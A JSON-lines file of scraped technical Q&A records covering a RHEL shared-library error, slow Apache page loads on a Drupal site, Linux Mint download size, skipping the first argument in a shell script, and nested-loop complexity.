libeel-2.so.2.16.1    libORBit-2.so.0 -> libORBit-2.so.0.1.0    libXinerama.so.1 -> libXinerama.so.1.0.0    libXau.so.6 -> libXau.so.6.0.0    libXRes.so.1 -> libXRes.so.1.0.0    libdrm.so.2 -> libdrm.so.2.0.0    libgtk-x11-2.0.so.0 -> libgtk-x11-2.0.so.0.1000.4    libgdk_pixbuf-2.0.so.0 -> libgdk_pixbuf-2.0.so.0.1000.4    libncursesw.so.5 -> libncursesw.so.5.5    libXtst.so.6 -> libXtst.so.6.1.0    libgnomeui-2.so.0 -> libgnomeui-2.so.0.1600.0    libkadm5srv.so.5 -> libkadm5srv.so.5.1    libGLU.so.1 -> libGLU.so.1.3.060501    libgstdataprotocol-0.10.so.0 -> libgstdataprotocol-0.10.so.0.8.1    libformw.so.5 -> libformw.so.5.5    libXext.so.6 -> libXext.so.6.4.0    libgnomecanvas-2.so.0 -> libgnomecanvas-2.so.0.1400.0    libavahi-glib.so.1 -> libavahi-glib.so.1.0.1    libgnomeprint-2-2.so.0 -> libgnomeprint-2-2.so.0.1.0    libaspell.so.15 -> libaspell.so.15.1.3    libkrb5.so.3 -> libkrb5.so.3.3    libsvrcore.so.0 -> libsvrcore.so.0.0.0    libpango-1.0.so.0 -> libpango-1.0.so.0.1400.9    libgnomeprintui-2-2.so.0 -> libgnomeprintui-2-2.so.0.1.0    libSM.so.6 -> libSM.so.6.0.0    libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2    libbz2.so.1 -> libbz2.so.1.0.3    libpanel-applet-2.so.0 -> libpanel-applet-2.so.0.2.11    libgtkhtml-3.8.so.15 -> libgtkhtml-3.8.so.15.3.9    libpangoft2-1.0.so.0 -> libpangoft2-1.0.so.0.1400.9    libparted-1.8.so.0 -> libparted-1.8.so.0.0.1    libgnome-2.so.0 -> libgnome-2.so.0.1600.0    libgstnet-0.10.so.0 -> libgstnet-0.10.so.0.8.1    libXss.so.1 -> libXss.so.1.0.0    libgnutls.so.13 -> libgnutls.so.13.0.6    libstdc++.so.6 -> libstdc++.so.6.0.8    libgnome-menu.so.2 -> libgnome-menu.so.2.1.3    libGL.so.1 -> libGL.so.1.2    libcrack.so.2 -> libcrack.so.2.8.0    libpanelw.so.5 -> libpanelw.so.5.5    libgnome-desktop-2.so.2 -> libgnome-desktop-2.so.2.2.21    libxkbfile.so.1 -> libxkbfile.so.1.0.2    libgdk-x11-2.0.so.0 -> libgdk-x11-2.0.so.0.1000.4    libutempter.so.0 -> libutempter.so.1.1.4    libavahi-common.so.3 -> libavahi-common.so.3.4.3    libXxf86vm.so.1 -> libXxf86vm.so.1.0.0    libXdamage.so.1 -> libXdamage.so.1.0.0    libXxf86misc.so.1 -> libXxf86misc.so.1.1.0    libxklavier.so.11 -> libxklavier.so.11.0.0    libglade-2.0.so.0 -> libglade-2.0.so.0.0.7    libusbpp-0.1.so.4 -> libusbpp-0.1.so.4.4.4    libk5crypto.so.3 -> libk5crypto.so.3.1    libhal.so.1 -> libhal.so.1.0.0    libpangocairo-1.0.so.0 -> libpangocairo-1.0.so.0.1400.9    libcairo.so.2 -> libcairo.so.2.9.2    libfreebl3.so -> libfreebl3.so    libavahi-client.so.3 -> libavahi-client.so.3.2.1    libreadline.so.5 -> libreadline.so.5.1    libpopt.so.0 -> libpopt.so.0.0.0    libtiffxx.so.3 -> libtiffxx.so.3.8.2    libldap-2.3.so.0 -> libldap-2.3.so.0.2.15    libwnck-1.so.18 -> libwnck-1.so.18.2.3    libbonoboui-2.so.0 -> libbonoboui-2.so.0.0.0    libtiff.so.3 -> libtiff.so.3.8.2    libfam.so.0 -> libfam.so.0.0.0    libckyapplet.so.1 -> libckyapplet.so.1.0.0    libkrb4.so.2 -> libkrb4.so.2.0    libgdict-1.0.so.5 -> libgdict-1.0.so.5.0.5    libgnome-mag.so.2 -> libgnome-mag.so.2.1.1    libglut.so.3 -> libglut.so.3.8.0    libXi.so.6 -> libXi.so.6.0.0    libnuma.so.1 -> libnuma.so.1    libsasl2.so.2 -> libsasl2.so.2.0.22    libedataserverui-1.2.so.8 -> libedataserverui-1.2.so.8.0.0    libgnomevfs-2.so.0 -> libgnomevfs-2.so.0.1600.2    liblber-2.3.so.0 -> liblber-2.3.so.0.2.15    libhal-storage.so.1 -> libhal-storage.so.1.0.0    libgconf-2.so.4 -> libgconf-2.so.4.1.0    libdb_cxx-4.3.so -> libdb_cxx-4.3.so    libnautilus-extension.so.1 -> libnautilus-extension.so.1.1.0    libbonobo-activation.so.4 -> libbonobo-activation.so.4.0.0    libcspi.so.0 -> libcspi.so.0.10.11    libnautilus-burn.so.4 -> libnautilus-burn.so.4.0.0    libjpeg.so.62 -> libjpeg.so.62.0.0    libXrandr.so.2 -> libXrandr.so.2.0.0    libdes425.so.3 -> libdes425.so.3.0    libIDL-2.so.0 -> libIDL-2.so.0.0.0    libedata-cal-1.2.so.6 -> libedata-cal-1.2.so.6.0.0    libpangox-1.0.so.0 -> libpangox-1.0.so.0.1400.9    libbonobo-2.so.0 -> libbonobo-2.so.0.0.0    libkrb5support.so.0 -> libkrb5support.so.0.1    libpangoxft-1.0.so.0 -> libpangoxft-1.0.so.0.1400.9    libmenu.so.5 -> libmenu.so.5.5    libXcursor.so.1 -> libXcursor.so.1.0.2    libXrender.so.1 -> libXrender.so.1.3.0    libedataserver-1.2.so.7 -> libedataserver-1.2.so.7.1.0    libstartup-notification-1.so.0 -> libstartup-notification-1.so.0.0.0    libloginhelper.so.0 -> libloginhelper.so.0.0.0    libssl3.so -> libssl3.so    libICE.so.6 -> libICE.so.6.3.0    libgssrpc.so.4 -> libgssrpc.so.4.0    libcamel-provider-1.2.so.8 -> libcamel-provider-1.2.so.8.1.0    libexchange-storage-1.2.so.2 -> libexchange-storage-1.2.so.2.0.0    libgnome-window-settings.so.1 -> libgnome-window-settings.so.1.0.0    libedata-book-1.2.so.2 -> libedata-book-1.2.so.2.3.0    libpanel.so.5 -> libpanel.so.5.5    libldap_r-2.3.so.0 -> libldap_r-2.3.so.0.2.15    libpng.so.3 -> libpng.so.3.10.0    libgstreamer-0.10.so.0 -> libgstreamer-0.10.so.0.8.1    libXt.so.6 -> libXt.so.6.0.0    libxml2.so.2 -> libxml2.so.2.6.26    libaio.so.1.0.0 -> libaio.so.1.0.0    libXevie.so.1 -> libXevie.so.1.0.0    libsoup-2.2.so.8 -> libsoup-2.2.so.8.5.0    libesd.so.0 -> libesd.so.0.2.36    libart_lgpl_2.so.2 -> libart_lgpl_2.so.2.3.17    libaio.so.1 -> libaio.so.1.0.1    libgtop-2.0.so.7 -> libgtop-2.0.so.7.0.0    libmenuw.so.5 -> libmenuw.so.5.5    libdaemon.so.0 -> libdaemon.so.0.2.4    libgpm.so.1 -> libgpm.so.1.19.0    libX11.so.6 -> libX11.so.6.2.0    libpng12.so.0 -> libpng12.so.0.10.0    libXfixes.so.3 -> libXfixes.so.3.1.0    libfreetype.so.6 -> libfreetype.so.6.3.10    libgnomecups-1.0.so.1 -> libgnomecups-1.0.so.1.0.0/usr/lib64:    liblwres.so.9 -> liblwres.so.9.1.3    libnssckbi.so -> libnssckbi.so    libgailutil.so.18 -> libgailutil.so.18.0.1    libgsf-1.so.114 -> libgsf-1.so.114.0.1    libplc4.so -> libplc4.so    libplds4.so -> libplds4.so    libaudiofile.so.0 -> libaudiofile.so.0.0.2    libform.so.5 -> libform.so.5.5    librpmbuild-4.4.so -> librpmbuild-4.4.so    libgpg-error.so.0 -> libgpg-error.so.0.3.0    libsmime3.so -> libsmime3.so    libsoftokn3.so -> libsoftokn3.so    libssldap60.so -> libssldap60.so    libgettextsrc-0.14.6.so -> libgettextsrc-0.14.6.so    libstunnel.so -> libstunnel.so    libesddsp.so.0 -> libesddsp.so.0.2.36    libdmraid.so.1.0.0.rc13 -> libdmraid.so.1.0.0.rc13    libmagic.so.1 -> libmagic.so.1.0.0    libpoppler.so.1 -> libpoppler.so.1.0.0    libisccfg.so.1 -> libisccfg.so.1.0.6    libgnutls-extra.so.13 -> libgnutls-extra.so.13.0.6    libgnutls-openssl.so.13 -> libgnutls-openssl.so.13.0.6    libprldap60.so -> libprldap60.so    libbluetooth.so.2 -> libbluetooth.so.2.4.1    libgnome-keyring.so.0 -> libgnome-keyring.so.0.0.1    libnspr4.so -> libnspr4.so    libORBitCosNaming-2.so.0 -> libORBitCosNaming-2.so.0.1.0    libnss3.so -> libnss3.so    librpmio-4.4.so -> librpmio-4.4.so    libcdda_interface.so.0 -> libcdda_interface.so.0.9.8    libz.so.1 -> libz.so.1.2.3    libcddb-slave2.so.0 -> libcddb-slave2.so.0.0.0    libcupsimage.so.2 -> libcupsimage.so.2    libgucharmap.so.5 -> libgucharmap.so.5.0.1    libOggFLAC++.so.2 -> libOggFLAC++.so.2.0.0    libhesiod.so.0 -> libhesiod.so.0.0.0    libdbus-glib-1.so.2 -> libdbus-glib-1.so.2.0.0    libsefs.so.3 -> libsefs.so.3    libdmx.so.1 -> libdmx.so.1.0.0    libpcrecpp.so.0 -> libpcrecpp.so.0.0.0    libXpm.so.4 -> libXpm.so.4.11.0    libsysfs.so.2 -> libsysfs.so.2.0.0    libkadm5clnt.so.5 -> libkadm5clnt.so.5.1    libORBit-imodule-2.so.0 -> libORBit-imodule-2.so.0.0.0    libcryptsetup.so.0 -> libcryptsetup.so.0.0.0    libgstinterfaces-0.10.so.0 -> libgstinterfaces-0.10.so.0.6.0    libegroupwise-1.2.so.12 -> libegroupwise-1.2.so.12.0.0    libfontconfig.so.1 -> libfontconfig.so.1.1.0    libmetacity-private.so.0 -> libmetacity-private.so.0.0.0    libgdk_pixbuf_xlib-2.0.so.0 -> libgdk_pixbuf_xlib-2.0.so.0.1000.4    libusb-0.1.so.4 -> libusb-0.1.so.4.4.4    libhistory.so.5 -> libhistory.so.5.1    libelf.so.1 -> libelf-0.125.so    libgsf-gnome-1.so.114 -> libgsf-gnome-1.so.114.0.1    libpspell.so.15 -> libpspell.so.15.1.3    libkdb5.so.4 -> libkdb5.so.4.0    libebook-1.2.so.9 -> libebook-1.2.so.9.0.0    libgs.so.8 -> libgs.so.8.15    libXfontcache.so.1 -> libXfontcache.so.1.0.0    libbdevid.so.5.1.19.6 -> libbdevid.so.5.1.19.6    libtheora.so.0 -> libtheora.so.0.2.0    libgcrypt.so.11 -> libgcrypt.so.11.2.2    libavahi-core.so.4 -> libavahi-core.so.4.0.5    libcamel-1.2.so.0 -> libcamel-1.2.so.0.0.0    libgstbase-0.10.so.0 -> libgstbase-0.10.so.0.8.1    libgamin-1.so.0 -> libgamin-1.so.0.1.7    libXdmcp.so.6 -> libXdmcp.so.6.0.0    libFLAC.so.7 -> libFLAC.so.7.0.0    libuser.so.1 -> libuser.so.1.1.6    libspeex.so.1 -> libspeex.so.1.3.0    libnm-util.so.0 -> libnm-util.so.0.0.0    libgweather.so.0 -> libgweather.so.0.0.0    libncurses.so.5 -> libncurses.so.5.5    libecal-1.2.so.7 -> libecal-1.2.so.7.0.0    libcups.so.2 -> libcups.so.2    libfontenc.so.1 -> libfontenc.so.1.0.0    libXft.so.2 -> libXft.so.2.1.2    liblvm2cmd.so.2.02 -> liblvm2cmd.so.2.02    libFS.so.6 -> libFS.so.6.0.0    libgstcdda-0.10.so.0 -> libgstcdda-0.10.so.0.6.0    libgstcontroller-0.10.so.0 -> libgstcontroller-0.10.so.0.8.1    libspi.so.0 -> libspi.so.0.10.11    libwrap.so.0 -> libwrap.so.0.7.6    libatk-1.0.so.0 -> libatk-1.0.so.0.1212.0    libXaw.so.6 -> libXaw6.so.6.0.1    libldap60.so -> libldap60.so    librom1394.so.0 -> librom1394.so.0.3.0    libeel-2.so.2 -> libeel-2.so.2.16.1    libORBit-2.so.0 -> libORBit-2.so.0.1.0    libXinerama.so.1 -> libXinerama.so.1.0.0    libgdbm.so.2 -> libgdbm.so.2.0.0    libijs-0.35.so -> libijs.so    libpcreposix.so.0 -> libpcreposix.so.0.0.0    libXau.so.6 -> libXau.so.6.0.0    libXRes.so.1 -> libXRes.so.1.0.0    libvte.so.9 -> libvte.so.9.1.5    libraw1394.so.8 -> libraw1394.so.8.1.1    libdrm.so.2 -> libdrm.so.2.0.0    libexslt.so.0 -> libexslt.so.0.8.13    libgtk-x11-2.0.so.0 -> libgtk-x11-2.0.so.0.1000.4    libgdk_pixbuf-2.0.so.0 -> libgdk_pixbuf-2.0.so.0.1000.4    libqpol.so.1 -> libqpol.so.1    libsqlite3.so.0 -> libsqlite3.so.0.8.6    libncursesw.so.5 -> libncursesw.so.5.5    libXtst.so.6 -> libXtst.so.6.1.0    libgnomeui-2.so.0 -> libgnomeui-2.so.0.1600.0    liblockdev.so.1 -> liblockdev.so.1.0.1    libkadm5srv.so.5 -> libkadm5srv.so.5.1    libXaw.so.7 -> libXaw7.so.7.0.0    libGLU.so.1 -> libGLU.so.1.3.060501    libgstdataprotocol-0.10.so.0 -> libgstdataprotocol-0.10.so.0.8.1    libopcodes-2.17.50.0.6-5.el5.so -> libopcodes-2.17.50.0.6-5.el5.so    libgtksourceview-1.0.so.0 -> libgtksourceview-1.0.so.0.0.0    libformw.so.5 -> libformw.so.5.5    libOpenIPMIposix.so.0 -> libOpenIPMIposix.so.0.0.1    libXext.so.6 -> libXext.so.6.4.0    libgphoto2.so.2 -> libgphoto2.so.2.1.1    libdv.so.4 -> libdv.so.4.0.2    libgnomecanvas-2.so.0 -> libgnomecanvas-2.so.0.1400.0    libavahi-glib.so.1 -> libavahi-glib.so.1.0.1    libgnomeprint-2-2.so.0 -> libgnomeprint-2-2.so.0.1.0    libnetsnmp.so.10 -> libnetsnmp.so.10.0.1    libaspell.so.15 -> libaspell.so.15.1.3    libldif60.so -> libldif60.so    librpmdb-4.4.so -> librpmdb-4.4.so    libkrb5.so.3 -> libkrb5.so.3.3    libstdc++.so.5 -> libstdc++.so.5.0.7    libsvrcore.so.0 -> libsvrcore.so.0.0.0    librsvg-2.so.2 -> librsvg-2.so.2.16.1    libpango-1.0.so.0 -> libpango-1.0.so.0.1400.9    libgnomeprintui-2-2.so.0 -> libgnomeprintui-2-2.so.0.1.0    libSM.so.6 -> libSM.so.6.0.0    libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2    libOpenIPMIutils.so.0 -> libOpenIPMIutils.so.0.0.1    libbz2.so.1 -> libbz2.so.1.0.3    libOpenIPMIpthread.so.0 -> libOpenIPMIpthread.so.0.0.1    libpanel-applet-2.so.0 -> libpanel-applet-2.so.0.2.11    libbfd-2.17.50.0.6-5.el5.so -> libbfd-2.17.50.0.6-5.el5.so    liblftp-jobs.so.0 -> liblftp-jobs.so.0.0.0    libslang.so.2 -> libslang.so.2.0.6    libgtkhtml-3.8.so.15 -> libgtkhtml-3.8.so.15.3.9    libpangoft2-1.0.so.0 -> libpangoft2-1.0.so.0.1400.9    libostyle.so.0 -> libostyle.so.0.0.1    libparted-1.8.so.0 -> libparted-1.8.so.0.0.1    libgnome-2.so.0 -> libgnome-2.so.0.1600.0    libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0    libI810XvMC.so.1 -> libI810XvMC.so.1.0.0    libnetsnmptrapd.so.10 -> libnetsnmptrapd.so.10.0.1    librpcsecgss.so.2 -> librpcsecgss.so.2.0.1    libgstnet-0.10.so.0 -> libgstnet-0.10.so.0.8.1    libXfont.so.1 -> libXfont.so.1.4.1    librpm-4.4.so -> librpm-4.4.so    libXss.so.1 -> libXss.so.1.0.0    libgnutls.so.13 -> libgnutls.so.13.0.6    libOpenIPMI.so.0 -> libOpenIPMI.so.0.0.5    libstdc++.so.6 -> libstdc++.so.6.0.8    libisc.so.11 -> libisc.so.11.1.1    libFLAC++.so.5 -> libFLAC++.so.5.0.0    libgstaudio-0.10.so.0 -> libgstaudio-0.10.so.0.6.0    libgnome-menu.so.2 -> libgnome-menu.so.2.1.3    libGL.so.1 -> libGL.so.1.2    libvorbisfile.so.3 -> libvorbisfile.so.3.1.1    libcrack.so.2 -> libcrack.so.2.8.0    libbeecrypt.so.6 -> libbeecrypt.so.6.4.0    libpanelw.so.5 -> libpanelw.so.5.5    libnotify.so.1 -> libnotify.so.1.1.0    libdns.so.22 -> libdns.so.22.0.1    libbind9.so.0 -> libbind9.so.0.0.8    libgnome-desktop-2.so.2 -> libgnome-desktop-2.so.2.2.21    libxkbfile.so.1 -> libxkbfile.so.1.0.2    libgdk-x11-2.0.so.0 -> libgdk-x11-2.0.so.0.1000.4    libutempter.so.0 -> libutempter.so.1.1.4    libpython2.4.so.1.0 -> libpython2.4.so.1.0    libavahi-common.so.3 -> libavahi-common.so.3.4.3    libXxf86vm.so.1 -> libXxf86vm.so.1.0.0    libXv.so.1 -> libXv.so.1.0.0    libXdamage.so.1 -> libXdamage.so.1.0.0    libOpenIPMIui.so.1 -> libOpenIPMIui.so.1.0.1    libXxf86misc.so.1 -> libXxf86misc.so.1.1.0    libxklavier.so.11 -> libxklavier.so.11.0.0    libglade-2.0.so.0 -> libglade-2.0.so.0.0.7    libxslt.so.1 -> libxslt.so.1.1.17    libusbpp-0.1.so.4 -> libusbpp-0.1.so.4.4.4    libk5crypto.so.3 -> libk5crypto.so.3.1    libtcl8.4.so -> libtcl8.4.so    libhal.so.1 -> libhal.so.1.0.0    libpangocairo-1.0.so.0 -> libpangocairo-1.0.so.0.1400.9    libpoldiff.so.1 -> libpoldiff.so.1    libcairo.so.2 -> libcairo.so.2.9.2    liblftp-tasks.so.0 -> liblftp-tasks.so.0.0.0    libogg.so.0 -> libogg.so.0.5.3    libgssapi.so.2 -> libgssapi.so.2.0.0    libXmuu.so.1 -> libXmuu.so.1.0.0    libfreebl3.so -> libfreebl3.so    libsnmp.so.10 -> libsnmp.so.10.0.1    libavahi-client.so.3 -> libavahi-client.so.3.2.1    libreadline.so.5 -> libreadline.so.5.1    libpopt.so.0 -> libpopt.so.0.0.0    libtiffxx.so.3 -> libtiffxx.so.3.8.2    libldap-2.3.so.0 -> libldap-2.3.so.0.2.15    libXxf86dga.so.1 -> libXxf86dga.so.1.0.0    libwnck-1.so.18 -> libwnck-1.so.18.2.3    libbonoboui-2.so.0 -> libbonoboui-2.so.0.0.0    libospgrove.so.0 -> libospgrove.so.0.0.1    libtiff.so.3 -> libtiff.so.3.8.2    libbrlapi.so.0.4 -> libbrlapi.so.0.4.1    libviaXvMCPro.so.1 -> libviaXvMCPro.so.1.0.0    libfam.so.0 -> libfam.so.0.0.0    libgnomespeech.so.7 -> libgnomespeech.so.7.0.1    libckyapplet.so.1 -> libckyapplet.so.1.0.0    libwacomcfg.so.0 -> libwacomcfg.so.0.0.1    libIPMIlanserv.so.0 -> libIPMIlanserv.so.0.0.1    libkrb4.so.2 -> libkrb4.so.2.0    libgdict-1.0.so.5 -> libgdict-1.0.so.5.0.5    libgsttag-0.10.so.0 -> libgsttag-0.10.so.0.6.0    libOggFLAC.so.3 -> libOggFLAC.so.3.0.0    libidn.so.11 -> libidn.so.11.5.19    libgnome-mag.so.2 -> libgnome-mag.so.2.1.1    libnewt.so.0.52 -> libnewt.so.0.52.1    libglut.so.3 -> libglut.so.3.8.0    libXi.so.6 -> libXi.so.6.0.0    libnuma.so.1 -> libnuma.so.1    libsasl2.so.2 -> libsasl2.so.2.0.22    libsmbclient.so.0 -> libsmbclient.so    libedataserverui-1.2.so.8 -> libedataserverui-1.2.so.8.0.0    libgnomevfs-2.so.0 -> libgnomevfs-2.so.0.1600.2    libogrove.so.0 -> libogrove.so.0.0.1    liblber-2.3.so.0 -> liblber-2.3.so.0.2.15    libhal-storage.so.1 -> libhal-storage.so.1.0.0    libgstnetbuffer-0.10.so.0 -> libgstnetbuffer-0.10.so.0.6.0    libgnome-media-profiles.so.0 -> libgnome-media-profiles.so.0.0.0    libgconf-2.so.4 -> libgconf-2.so.4.1.0    libgstvideo-0.10.so.0 -> libgstvideo-0.10.so.0.6.0    libvorbisenc.so.2 -> libvorbisenc.so.2.0.2    libdb_cxx-4.3.so -> libdb_cxx-4.3.so    libnautilus-extension.so.1 -> libnautilus-extension.so.1.1.0    libhugetlbfs.so -> libhugetlbfs.so    libiec61883.so.0 -> libiec61883.so.0.0.0    libnm_glib.so.0 -> libnm_glib.so.0.0.0    libbonobo-activation.so.4 -> libbonobo-activation.so.4.0.0    libcspi.so.0 -> libcspi.so.0.10.11    libevent-1.1a.so.1 -> libevent-1.1a.so.1.0.2    libnautilus-burn.so.4 -> libnautilus-burn.so.4.0.0    libbind.so.4 -> libbind.so.4.0.5    libjpeg.so.62 -> libjpeg.so.62.0.0    libavc1394.so.0 -> libavc1394.so.0.3.0    libXrandr.so.2 -> libXrandr.so.2.0.0    libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8    libpoppler-glib.so.1 -> libpoppler-glib.so.1.0.0    libisccc.so.0 -> libisccc.so.0.2.2    libdes425.so.3 -> libdes425.so.3.0    libIDL-2.so.0 -> libIDL-2.so.0.0.0    libedata-cal-1.2.so.6 -> libedata-cal-1.2.so.6.0.0    libpangox-1.0.so.0 -> libpangox-1.0.so.0.1400.9    libcroco-0.6.so.3 -> libcroco-0.6.so.3.0.1    libbonobo-2.so.0 -> libbonobo-2.so.0.0.0    libpcap.so.0.9.4 -> libpcap.so.0.9.4    libkrb5support.so.0 -> libkrb5support.so.0.1    libapol.so.3 -> libapol.so.3    libpangoxft-1.0.so.0 -> libpangoxft-1.0.so.0.1400.9    libgphoto2_port.so.0 -> libgphoto2_port.so.0.6.1    libnetsnmpagent.so.10 -> libnetsnmpagent.so.10.0.1    libcurl.so.3 -> libcurl.so.3.0.0    libmenu.so.5 -> libmenu.so.5.5    libXcursor.so.1 -> libXcursor.so.1.0.2    libXrender.so.1 -> libXrender.so.1.3.0    libgettextlib-0.14.6.so -> libgettextlib-0.14.6.so    libedataserver-1.2.so.7 -> libedataserver-1.2.so.7.1.0    libstartup-notification-1.so.0 -> libstartup-notification-1.so.0.0.0    libloginhelper.so.0 -> libloginhelper.so.0.0.0    libssl3.so -> libssl3.so    libICE.so.6 -> libICE.so.6.3.0    libgssrpc.so.4 -> libgssrpc.so.4.0    libcamel-provider-1.2.so.8 -> libcamel-provider-1.2.so.8.1.0    libexchange-storage-1.2.so.2 -> libexchange-storage-1.2.so.2.0.0    libXmu.so.6 -> libXmu.so.6.2.0    libgnome-window-settings.so.1 -> libgnome-window-settings.so.1.0.0    libnetsnmpmibs.so.10 -> libnetsnmpmibs.so.10.0.1    libedata-book-1.2.so.2 -> libedata-book-1.2.so.2.3.0    libpanel.so.5 -> libpanel.so.5.5    libOpenIPMIcmdlang.so.0 -> libOpenIPMIcmdlang.so.0.0.5    libldap_r-2.3.so.0 -> libldap_r-2.3.so.0.2.15    libnfsidmap.so.0 -> libnfsidmap.so.0.2.0    libviaXvMC.so.1 -> libviaXvMC.so.1.0.0    libpng.so.3 -> libpng.so.3.10.0    libgstreamer-0.10.so.0 -> libgstreamer-0.10.so.0.8.1    libvorbis.so.0 -> libvorbis.so.0.3.1    libosp.so.5 -> libosp.so.5.0.0    libXt.so.6 -> libXt.so.6.0.0    libpcsclite.so.1 -> libpcsclite.so.1.0.0    libxml2.so.2 -> libxml2.so.2.6.26    libaio.so.1.0.0 -> libaio.so.1.0.0    libXevie.so.1 -> libXevie.so.1.0.0    libsoup-2.2.so.8 -> libsoup-2.2.so.8.5.0    libexif.so.12 -> libexif.so.12.0.1    libesd.so.0 -> libesd.so.0.2.36    libgstriff-0.10.so.0 -> libgstriff-0.10.so.0.6.0    libart_lgpl_2.so.2 -> libart_lgpl_2.so.2.3.17    libaio.so.1 -> libaio.so.1.0.1    libgstrtp-0.10.so.0 -> libgstrtp-0.10.so.0.6.0    libgtop-2.0.so.7 -> libgtop-2.0.so.7.0.0    libmenuw.so.5 -> libmenuw.so.5.5    libOpenIPMIglib.so.0 -> libOpenIPMIglib.so.0.0.1    libdaemon.so.0 -> libdaemon.so.0.2.4    liboil-0.3.so.0 -> liboil-0.3.so.0.1.0    libgpm.so.1 -> libgpm.so.1.19.0    libX11.so.6 -> libX11.so.6.2.0    libpng12.so.0 -> libpng12.so.0.10.0    libXfixes.so.3 -> libXfixes.so.3.1.0    libfreetype.so.6 -> libfreetype.so.6.3.10    libXTrap.so.6 -> libXTrap.so.6.4.0    libnl.so.1 -> libnl.so.1.0-pre5    libnetsnmphelpers.so.10 -> libnetsnmphelpers.so.10.0.1    libgnomecups-1.0.so.1 -> libgnomecups-1.0.so.1.0.0/lib/i686: (hwcap: 0x0008000000000000)/lib64/tls: (hwcap: 0x8000000000000000)/usr/lib64/sse2: (hwcap: 0x0000000004000000)/usr/lib64/tls: (hwcap: 0x8000000000000000)[root@hadoopredhot server]# cat /etc/redhat-release Red Hat Enterprise Linux Server release 5.1 (Tikanga)Where i can download this shared library ?"  , "title": "Error Loading Shared Libraries when Installing Redhat Directory Server"  , "tags": "rhel;libraries;dynamic linking"  , "accepted_answer": "Is dsktune a 32-bit or 64-bit executable? Whichever it is, you need a matching libstdc++.so.5. You seem to have two libraries for version 6 but only one for version 5; presumably you have version 6 for both architectures but version 5 only for the other architecture. Install compat-libstdc++ for the architecture that dsktune is for."  } 
{  "id": "_webmaster.54658"  , "question": "My Drupal 6 site has been running smoothly for years but recently has experienced intermittent periods of extreme slowness (10-60 sec page loads). Several hours of slowness followed by hours of normal (4-6 sec) page loads. The page always loads with no error, just sometimes takes forever.------Edit-----Updated Question:How can I troubleshoot this problem? I've used:webpagetest.orgwindows task managernetstatapache and windows logsFirewall packet capture------End edit-----------My setup:Windows Server 2003Apache/2.2.15 (Win32) Jrun/4.0 PHP 5 MySql 5.1   Drupal 6Cold fusion 9Vmware virtual environmentDMZ behind a corporate firewallTraffic: 1-3 hits/sec avgTroubleshootingNo applicable errors in apache error logNo errors in drupal event logDrupal devel module shows 242 queries in 366.23 milliseconds,pageexecution time 2069.62 ms. (So it looks like queries and php scriptsare not the problem)NO unusually high CPU, memory, or disk IOCold fusion apps, and other static pages outside of drupal also loadslowwebpagetest.org test shows very high time-to-first-byteThe problem seems to be with Apache responding to requests, but previously I've only seen this behavior under 100% cpu load. Judging solely by resource monitoring, it looks as though very little is going on.Here is the kicker - roughly half of the site's access comes from our LAN, but if I disable the firewall rule and block access from outside of our network, internal (LAN) access (1000+ devices) is speedy. But as soon as outside access is restored the site is crippled.Apache config? Crawlers/bots? Attackers? I'm at the end of my rope, where should I be looking to determine where the problem lies?------Edit:-----Attached a waterfall chart from webpagetest.org showing a 15 second load time, I've seen times as high as several minutes.  And again, the server runs fine much of the time.  The green areas indicate that the browser has sent a request and is waiting to recieve the first byte of data back from the server.  This is certainly a back-end delay, but it is puzzling that the CPU is barely used during this slowness. "  , "title": "Apache VERY high page load time"  , "tags": "php;apache;mysql;drupal"  , "accepted_answer": "After much research, I may have found the solution.  If I'm correct, it was an apache config problem.  Specifically, the ThreadsPerChild directive.  See... http://httpd.apache.org/docs/2.2/platform/windows.htmlBecause Apache for Windows is multithreaded, it does not use a  separate process for each request, as Apache can on Unix. Instead  there are usually only two Apache processes running: a parent process,  and a child which handles the requests. Within the child process each  request is handled by a separate thread.ThreadsPerChild: This directive is new. It tells the server how many  threads it should use. This is the maximum number of connections the  server can handle at once, so be sure to set this number high enough  for your site if you get a lot of hits. The recommended default is  ThreadsPerChild 150, but this must be adjusted to reflect the greatest  anticipated number of simultaneous connections to accept.Turns out, this directive was not set at all in my config and thus defaulted to 64.  I confirmed this by viewing the number of threads for the second httpd.exe process in task manager.  When the server was hitting more than 64 connections, the excess requests were simply having to wait for a thread to open up.  I added ThreadsPerChild 150 in my httpd.conf.Additionally, I enabled the apache status modulehttp://httpd.apache.org/docs/2.2/mod/mod_status.html...which, among other things, allows one to see the total number of active request on the server at any given moment.  Right away, I could see spikes of up to 80 active request. Time will tell, but I'm confident that this will resolve my issue.  So far, 30 hours without a hiccup. "  } 
{  "id": "_unix.310307"  , "question": "How large is the Linux Mint OS download?I am considering downloading it. When I know how much volume it has I can figure out how long it take to download. Any current version of Mint is OK."  , "title": "What is the capacity of Linux Mint OS?"  , "tags": "linux mint"  } 
{  "id": "_unix.230457"  , "question": "Linux Pocket Guide has a nice example on how to go over all the arguments in a scriptfor arg in $@do   echo I found the argument $argdoneI am writing a script in which all the arguments will be text files, and I will concatenate all those text files and print them to stdout, however I should exclude the contents of the first argument. My first approach would be something like thisfor arg in $@do   cat $argdoneHowever, that will include the first argument, and as I mentioned, I want to print all except the first one."  , "title": "How to skip the first argument in a script"  , "tags": "shell;shell script"  , "accepted_answer": "You can use shift command like this: shiftfor arg in $@do    cat $argdone "  } 
{  "id": "_cs.53456"  , "question": "I understand that the following nested for-loop:for(i=0; i<n/2; i++)    for(j=0; j<n/2; j++)         print(j)has the runtime complexity of which has a simplifed complexity of but what is the resulting complexity of making j bound to i/2 in the inner loop? For instance:for(i=0; i<n/2; i++)    for(j=0; j<i/2; j++)         print(j)Would this be ?"  , "title": "Running-time cost of Tweaked Nested Loop"  , "tags": "algorithm analysis;runtime analysis;loops"  , "accepted_answer": "The complexity would be$$\\sum_{i = 0}^{n/2-1} \\sum_{j = 0}^{i/2-1} 1\\,,$$ which is $O(n^2)$."  } 
